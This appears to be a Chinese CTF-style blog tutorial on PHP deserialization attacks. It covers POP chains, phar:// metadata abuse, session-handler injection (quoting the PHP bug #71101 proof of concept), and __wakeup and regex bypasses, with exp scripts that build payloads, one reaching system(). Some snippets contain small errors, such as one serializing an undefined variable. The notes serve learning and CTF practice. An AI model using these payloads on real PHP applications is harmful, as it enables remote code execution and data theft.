目录

  1. 1. PHP反序列化
  2. 2. 熟悉PHP的类和方法
  3. 3. 语法
  4. 4. 魔术方法
    1. 4.1. 魔术方法的调用顺序
  5. 5. 原生类
  6. 6. 序列化/反序列化的流程
  7. 7. POP链
  8. 8. phar反序列化
    1. 8.1. phar文件结构
      1. 8.1.1. stub
      2. 8.1.2. manifest
      3. 8.1.3. contents
      4. 8.1.4. signature
    2. 8.2. 生成
    3. 8.3. 利用
  9. 9. session反序列化
    1. 9.1. session存储机制
      1. 9.1.0.0.0.1.
      2. 9.1.0.0.0.2.
  • 9.2. php bug #71101
  • 10. 常用姿势
    1. 10.1. shell获取利用
    2. 10.2. 正则过滤绕过
    3. 10.3. 关键词绕过
    4. 10.4. 字符串逃逸
    5. 10.5. __wakeup()绕过
      1. 10.5.1. fast-destruct
      2. 10.5.2. CVE-2016-7124
      3. 10.5.3. C绕过
      4. 10.5.4. 引用赋值&
  • LOADING

    第一次加载文章图片可能会花费较长时间

    要不挂个梯子试试?(x

    加载过慢请开启缓存 浏览器默认开启

    PHP反序列化

    2023/3/16 Web 反序列化
      |     |   总文章阅读量:

    PHP反序列化

    O(对象):(类的字符长度):(类名):(项数):{s/i(字符串/数字):(长度):(内容);}

    利用方向:

    魔术方法的调用逻辑:如触发条件

    语言原生类的调用逻辑:如SoapClient

    语言自身的安全缺陷:如CVE-2016-7124

    参考博客:https://www.lewiserii.top/%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93.html

    字符标识:https://blog.csdn.net/qq_45570082/article/details/107998748

    熟悉PHP的类和方法

    public:公有的类成员可以在任何地方被访问

    protected:受保护的类成员则可以被其自身以及其子类和父类访问,其属性序列化后的字符串会变成%00*%00+受保护的属性名

    private:私有的类成员则只能被其定义所在的类访问,其属性序列化后的字符串会变成%00类名%00+私有属性名

    语法

    <?php
    class wllm{
        public $admin;
        public function __construct(){
            $this->admin;
        }
    }
    $a=new wllm();	//自定义参数实例化类
    $a->admin="C1oudfL0w0";		//调用指针指向变量或方法并赋值
    $b=serialize($a);
    echo $b;

    运行后可以得到序列化的字符串O:4:"wllm":1:{s:5:"admin";s:10:"C1oudfL0w0";}

    魔术方法

    看我的另一篇文章:https://c1oudfl0w0.github.io/blog/2023/04/30/PHP%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95/

    是一组特殊的方法,它们在特定的情况下会自动调用,以提供对类的行为和属性的控制。这些方法的名称都以两个下划线 __ 开头和结尾

    魔术方法的调用顺序

    demo:

    <?php
    class test
    {
        public $value;
    
        function __construct()
        {
            echo "__construct\t";
        }
    
        function __destruct()
        {
            echo "__destruct\t";
        }
    
        function __wakeup()
        {
            echo "__wakeup\t";
        }
    
        function __sleep()
        {
            echo "__sleep\t";
            return ['value'];
        }
    
        function __toString()
        {
            echo "__toString\t";
            return $this->value;
        }
    
        function setValue($parm)
        {
            echo "setValue\t";
            $this->value = $parm;
        }
    }
    $test = new test;
    $test->setValue("0w0");
    $ser_test = serialize($test);
    echo $ser_test . "\t";
    $obj = unserialize($ser_test);
    echo $obj . "\t";

    执行回显__construct setValue __sleep O:4:"test":1:{s:5:"value";s:3:"0w0";} __wakeup __toString 0w0 __destruct __destruct

    说明序列化时的调用顺序是构造方法__construct => __sleep => 析构方法__destruct

    反序列化时的调用顺序是__wakeup => __toSring等可以被触发的函数 => __destruct

    而序列化和反序列化放在一起时,析构方法都会放在最后执行


    原生类

    即内置类,PHP自带,是 PHP 本身提供的核心功能和特性的一部分


    序列化/反序列化的流程

    参考:https://paper.seebug.org/866/#31-serialize

    php本质上还是由c语言开发编译过来的,所以要分析底层的话就需要下载php的c源码自行编译

    序列化:

    当没有魔术方法时,序列化类名->利用递归序列化剩下的结构

    当存在魔术方法时,先调用魔术方法->利用ZEND_VM引擎解析PHP操作->返回需要序列化结构的数组->序列化类名->利用递归序列化魔术方法的返回值结构

    反序列化:

    获取反序列化字符串->根据类型进行反序列化->查表找到对应的反序列化类->根据字符串判断元素个数->new出新实例->迭代解析化剩下的字符串->判断是否具有魔法函数__wakeup并标记->释放空间并判断是否具有具有标记->开启调用


    POP链

    它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码

    参考文章

    • 入口: 一般是__destruct()或___wakeup()

    • 出口:可以被利用的函数就是我们的出口,比如命令执行,写马之类的

    • 通过->指针调用其他类构造pop链

    例题源码

    <?php
    error_reporting(0);
    show_source("index.php");
    
    class w44m{
    
        private $admin = 'aaa';
        protected $passwd = '123456';
    
        public function Getflag(){
            if($this->admin === 'w44m' && $this->passwd ==='08067'){
                include('flag.php');
                echo $flag;
            }else{
                echo $this->admin;
                echo $this->passwd;
                echo 'nono';
            }
        }
    }
    
    class w22m{
        public $w00m;
        public function __destruct(){
            echo $this->w00m;
        }
    }
    
    class w33m{
        public $w00m;
        public $w22m;
        public function __toString(){
            $this->w00m->{$this->w22m}();
            return 0;
        }
    }
    
    $w00m = $_GET['w00m'];
    unserialize($w00m);
    ?> 

    这里的入口是__destruct,而我们出口的目标方法是w44m::Getflag,但是整段代码中并没有直接调用这个方法的代码,所以我们需要借用题目中的其它魔术方法来实现最后调用w44m::Getflag的目的

    在本题中是__toString魔术方法,这个魔术方法把参数当成字符串的时候就会被调用,而__destruct里面有echo $this->w00m;把参数当作字符串输出,于是就让w00m的值w33m来调用里面的__toString

    接着在__toString中有$this->w00m->{$this->w22m}();,只要让w00m参数的值为w44m,w22m参数的值为Getflag,这样就能调用w44m::Getflag

    所以最终链子为:w22m::__destruct -> w33m::__toString -> w44m::Getflag

    exp:

    <?php
    class w44m{
    
        private $admin = 'w44m';	// 类内部修改属性的值使其满足下面的判断条件,这里由于是private属性所以必须要在类内给属性赋值
        protected $passwd = '08067';
    
        public function Getflag(){		//公共方法
            if($this->admin === 'w44m' && $this->passwd ==='08067'){
                echo $flag;
            }else{
                echo $this->admin;
                echo $this->passwd;
                echo 'nono';
            }
        }
    }
    
    class w22m{
        public $w00m;
        public function __destruct(){
            echo $this->w00m;
        }
    }
    
    class w33m{
        public $w00m;
        public $w22m = "Getflag";	// 类内部赋值使其指向Getflag方法
        public function __toString(){
            $this->w00m->{$this->w22m}();
            return 0;
        }
    }
    $a=new w22m();
    $a->w00m=new w33m();
    $a->w00m->w00m=new w44m();	//前面的w00m是w22m的属性,后面的w00m是w33m的属性
    echo urlencode(serialize($b));
    ?>

    phar反序列化

    参考:https://paper.seebug.org/680/

    文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

    phar文件结构

    stub

    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

    manifest

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方,当我们用phar://协议去读取的时候会对这段内容进行反序列化

    contents

    被压缩文件的内容

    signature

    签名,放在文件末尾

    生成

    php.ini中设置phar.readonly = Off,去掉前面的分号注释

    <?php
        class TestObject {
        }
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $o = new TestObject();
        $phar->setMetadata($o); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

    这就是生成的phar文件,用010editor打开看看

    image-20231117192159070

    可以看到开头就是<?php __HALT_COMPILER(); ?>,然后是序列化字符串的部分,即meta-data是以序列化的形式存储

    • 注:如果用010对phar文件进行手动修改,则需要在修改完之后重新gzip压缩伪造签名,否则会因为签名错误导致文件出错

      伪造签名的脚本

      from hashlib import sha1
      import gzip
      
      with open('phar.phar', 'rb') as file:
          f = file.read()
      s = f[:-28]  # 获取要签名的数据
      h = f[-8:]  # 获取签名类型以及GBMB标识
      new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
      f_gzip = gzip.GzipFile("1.phar", "wb")
      f_gzip.write(new_file)
      f_gzip.close()

    利用

    既然有序列化就有反序列化,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

    受影响的函数如下:

    image-20231117192936573

    前面分析phar的文件结构时可以知道,php识别phar文件是通过其文件头的__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

    session反序列化

    参考:

    https://xz.aliyun.com/t/6640

    https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

    首先了解一下 session 的几个配置参数

    Directive 含义
    session.save_handler session保存形式。默认为files
    session.save_path session保存路径。
    session.serialize_handler session序列化存储所用处理器。默认为php。
    session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
    session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

    session存储机制

    PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

    当然这个文件名也不是不变的,如 Codeigniter 框架的 session存储的文件名为ci_sessionSESSIONID,不过文件的内容始终是session值的序列化之后的内容

    session.serialize_handler定义的引擎有三种,如下表所示:

    处理器名称 存储格式
    php 键名 + 竖线 + 经过serialize()函数序列化处理的值
    php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
    php_serialize(PHP >= 5.5.4) 经过serialize()函数序列化处理的数组

    接下来以这段代码为demo,分别测试一下三种处理器:

    <?php
    ini_set('session.serialize_handler','php');
    //ini_set('session.serialize_handler','php_binary');
    //ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['name'] = '0w0';
    ?>

    首先是php处理器:

    image-20240422200940680

    结果是name|s:3:"0w0";

    然后是php_binary处理器:

    为了直观体现差别,这里把name改成键值长为35的sessionsessionsessionsessionsession

    得到的结果#sessionsessionsessionsessionsessions:3:"0w0";

    其中#为键名长度对应的 ASCII 值,sessionsessionsessionsessionsession为键名,s:3:"0w0";是序列化值

    最后是php_serialize处理器:

    结果是a:1:{s:4:"name";s:3:"0w0";},标准的序列化字符串,a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为参数经过序列化后的值


    php bug #71101

    这个 BUG 是由乌云白帽子 ryat 师傅于2015-12-12在php官网上提出来的:https://bugs.php.net/bug.php?id=71101

    漏洞细节如下:

    Description:
    ------------
    PHP Session Data Injection Vulnerability
    
    When the session.upload_progress.enabled INI option is enabled (default enabled in php.ini since 5.4 series), PHP will be able to track the upload progress of individual files being uploaded. The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. This means an attacker will be able to control the key, i.e.
    
    ```
    <form action="upload.php" method="POST" enctype="multipart/form-data">
    	<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
    	<input type="file" name="file" />
    	<input type="submit" />
    </form>
    ```
    
    The key of stored in the session will look like this:
    
    ```
    $_SESSION["upload_progress_ryat"]
    ```
    
    During session upload progress will serialize/deserialize session data and the serialize format is set by session.serialize_handler INI option which is set in php.ini. This means arbitrarily session data injection is possible when a different serialize_handler is set in script.
    
    Proof of Concept (In order to facilitate proof the issue, i disabled the session.upload_progress.cleanup INI option, in fact this is not necessary. An attacker can upload some large files with crafted data, then the attacker will be able to request session data before them destroyed.):
    
    ```
    --TEST--
    session data injection
    --INI--
    error_reporting=0
    file_uploads=1
    upload_max_filesize=1024
    session.save_path=
    session.name=PHPSESSID
    session.serialize_handler=php
    session.use_strict_mode=0
    session.use_cookies=1
    session.use_only_cookies=0
    session.upload_progress.enabled=1
    session.upload_progress.cleanup=0
    session.upload_progress.prefix=upload_progress_
    session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS
    session.upload_progress.freq=1%
    session.upload_progress.min_freq=0.000000001
    --COOKIE--
    PHPSESSID=session-data-injection
    --POST_RAW--
    Content-Type: multipart/form-data; boundary=---------------------------20896060251896012921717172737
    -----------------------------20896060251896012921717172737
    Content-Disposition: form-data; name="PHPSESSID"
    
    session-data-injection
    -----------------------------20896060251896012921717172737
    Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
    
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxO:3:"obj":0:{}
    -----------------------------20896060251896012921717172737
    Content-Disposition: form-data; name="file"; filename="file.txt"
    
    1
    -----------------------------20896060251896012921717172737--
    --FILE--
    <?php
    ini_set('session.serialize_handler', 'php_binary');
    session_start();
    session_destroy();
    class obj {
    	function __destruct() {
    		var_dump('session data injection');
    	}
    }
    ?>
    --EXPECTF--
    string(%d) "session data injection"
    ```

    简单来说就是php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害

    形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入| , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

    demo:

    session.php

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['session'] = $_GET['session'];
    ?>

    class.php

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler', 'php');
    session_start();
    class Test
    {
        public $name = 'panda';
        function __wakeup()
        {
            echo "Who are you?";
        }
        function __destruct()
        {
            echo '<br>' . $this->name;
        }
    }
    $str = new Test();

    image-20240422204446368

    然后准备一个对应的序列化字符串

    <?php
    
    class Test{
        public $name="0w0";
    }
    $a = new Test();
    echo serialize($a);

    运行得到O:4:"Test":1:{s:4:"name";s:3:"0w0";}

    而我们在session.php传入?session=|O:4:"Test":1:{s:4:"name";s:3:"0w0";}

    此时的session文件内容就为:a:1:{s:7:"session";s:37:"|O:4:"Test":1:{s:4:"name";s:3:"0w0";}";}

    接下来访问class.php

    image-20240422204327788

    就会发现已经触发了php bug #71101,session文件中的内容被反序列化执行了


    常用姿势

    shell获取利用

    • file_put_contents写入一句话木马

    正则过滤绕过

    /[oc]:\d+:/i:匹配O: C: +数字

    /^O:\d+/:匹配序列化字符串是否是对象字符串开头

    • 利用加号绕过

        $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过 
        $b = str_replace('O:4','O:+4', $a);
        unserialize(match($b));
      
      - serialize(array($a))
      
        ```php
        $a=new test();
        serialize(array($a));
        unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
    • C绕过:见下面


    关键词绕过

    当代码中存在对序列化字符串的关键词检测时,可以将表示字符类型的s改为大写,然后内容改为16进制来绕过检测

    <?php
    class test{
        public $username='admin';
        public $password='admin888';
    }
    echo serialize(new test());
    //O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
    ?>

    如果过滤了关键字admin,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}

    表示字符类型的s为大写时,就会被当成16进制解析


    字符串逃逸

    见文章


    __wakeup()绕过

    参考狗and猫大佬的文章:https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/

    fast-destruct

    具体分析:https://c1oudfl0w0.github.io/blog/2023/06/09/fast-destruct%E6%8E%A2%E7%B4%A2/

    反序列化的结果赋值给一个变量时才可利用,eg:$a = unserialize($_GET['pop']);

    CVE-2016-7124

    版本:PHP5 < 5.6.25,PHP7 < 7.0.10

    序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    demo:

    <?php
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    $var = new Demo("fl4g.php");
    $var = serialize($var);
    echo($var);
    ?>

    结果为O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},而绕过就是改为O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

    C绕过

    demo:

    <?php
    highlight_file(__FILE__);
    class test
    {
        public $key = True;
        public function __wakeup()
        {
            $this->key = False;
        }
    
        public function __destruct()
        {
            if ($this->key === True) {
                echo "bypass";
                system($this->cmd);
            }else{
                echo "failed";
            }
        }
    }
    if (isset($_POST['pop'])) {
        unserialize($_POST['pop']);
    }

    exp:

    <?php
    class test
    {
        public $key = True;
    }
    $a = new test();
    $a->cmd = "calc";
    echo serialize($a);
    // O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}

    首先这时候我们正常传入我们的payload肯定是行不通会返回failed的

    这时候就要用C进行绕过

    C:custom object 自定义对象序列化,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的,利用这个可以绕过例如O:\d+的这种正则

    把payload改为C:4:"test":0:{}

    此时再传入

    image-20231205221828370

    成功绕过

    接下来就是一个重要的问题了,我们必须改成C:4:"test":0:{}这种格式的话,怎么命令执行?

    前面说过,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的

    所以这里我们可以写个脚本找一下哪些类继承了serializable接口

    <?php
    $classes = get_declared_classes();
    foreach($classes as $clazz){
        $methods = get_class_methods($clazz);
        foreach($methods as $method){
            if (in_array($method,array("serialize"))){
                echo $clazz."\n";
            }
        }
    }
    /* 
    ArrayObject
    ArrayIterator
    RecursiveArrayIterator
    SplDoublyLinkedList
    SplQueue
    SplStack
    SplObjectStorage
    */

    所以我们这里可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头

    修改exp:

    <?php
    class test
    {
        public $key = True;
    }
    $a = new test();
    $a->cmd = "calc";
    $arr=array("evil"=>$a);
    $oa=new ArrayObject($arr);
    $res=serialize($oa);
    echo $res;
    // C:11:"ArrayObject":82:{x:i:0;a:1:{s:4:"evil";O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}};m:a:0:{}}

    注意这里要在php小于7.4的环境下运行,更高的版本会返回O开头,我这里用的是7.3.4

    奇怪的是本地居然没复现出来。。但是确实是这种方法

    同理其它继承了接口的类也能做到

    引用赋值&

    在php里,我们可以使用引用&的方式让两个变量同时指向同一个内存地址,类似于指针

    这样对其中一个变量操作时,另一个变量的值也会随之改变

    <?php
    function test (&$y){
        $x=&$y;
        $x='123';
        return $y;
    }
    $a='11';
    echo test($a);
    // 123

    可以看到这里我们虽然最初$a=’11’,但由于我们通过$x=&$a使两个变量同时指向同一个内存地址了,即$a指向了$x的地址,所以最后$a的值为’123’

    demo:

    <?php
    highlight_file(__FILE__);
    class KeyPort
    {
        public $key;
        public function __destruct()
        {
            $this->key = False;
            if (!isset($this->wakeup) || !$this->wakeup) {
                echo "You get it!";
            }
        }
        public function __wakeup()
        {
            $this->wakeup = True;
        }
    }
    if (isset($_POST['pop'])) {
        @unserialize($_POST['pop']);
    }

    我们要是想触发echo就要先满足if (!isset($this->wakeup) || !$this->wakeup)

    这个条件的意思是要么不给wakeup赋值,让它接受不到$this->wakeup,要么控制wakeup为false才能通过判断

    但是下面的__wakeup魔术方法会先让wakeup的值为True,这个时候就要用到引用赋值的方法来绕过,可以看到上面有$this->key = False,那么我们只要让wakeup的引用指向key就能实现在调用__destruct的时候值被改为False

    exp:

    <?php
    class KeyPort
    {
        public $key;
    }
    $a=new KeyPort();
    $a->key=&$a->wakeup;
    echo serialize($a);
    // O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}

    image-20231205214139094

    实现绕过